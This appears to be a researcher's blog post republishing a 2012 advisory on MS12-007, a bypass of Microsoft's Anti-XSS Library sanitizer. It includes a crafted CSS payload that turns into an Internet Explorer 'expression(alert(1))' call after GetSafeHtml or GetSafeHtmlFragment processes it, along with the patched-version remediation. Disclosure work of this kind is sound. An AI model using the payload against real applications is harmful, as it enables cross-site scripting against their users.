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Writer's pictureAdi "Adico" Cohen

Microsoft Anti-XSS Library Bypass (MS12-007)

The following post describes the second bypass I found to the toStaticHTML function in IE - back in 2012.


 

Introduction:


The Microsoft Anti-XSS Library is used in ASP .NET applications to protect against Cross-Site Scripting attacks, by providing methods for input sanitization.


Vulnerability:


Microsoft Anti-XSS Library 3.0 and 4.0 are vulnerable to an attack in which an attacker is able to create a specially formed CSS, that after passing through the GetSafeHTML or GetSafeHTMLFragment methods, contains an expression that triggers a JavaScript call in Internet Explorer.


The following ASP .NET code demonstrates the vulnerability:


1. string data = Microsoft.Security.Application.Sanitizer.GetSafeHtml("<html>a<style><!--div{font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'}--></style><div>b</div></html>");


2. string data = Microsoft.Security.Application.Sanitizer.GetSafeHtmlFragment("<div style=\"font-family:Foo,Bar\\,'a\\a';font-family:';color:expression(alert(1));y'\">aaa</div>");


Explanation:


The string value can be broken down to a readable form (before sanitization):

div{
font-family:Foo,Bar\,'a\a';
font-family:';color:expression(alert(1));y'
}

A bug in the Anti-XSS library causes the closing apostrophe in the first CSS rule to be dropped. Because of the string not being properly terminated, Internet Explorer now renders this CSS in a different way, which triggers a javascript call (after sanitization):

div{
font-family:Foo,Bar\,'a\a;font-family:';
color:expression(alert(1));
y'
}

Impact:


Every application that relies on either GetSafeHTML or GetSafeHtmlFragment to sanitize user supplied data is vulnerable to XSS.


Remediation:


Microsoft has issued a the Anti-XSS library 4.2 to address this issue.


References:



 

An old post from 2012. Originally published under Watchfire's (IBM) Blog

Discovered by - Adi Cohen, IBM Application Security Research

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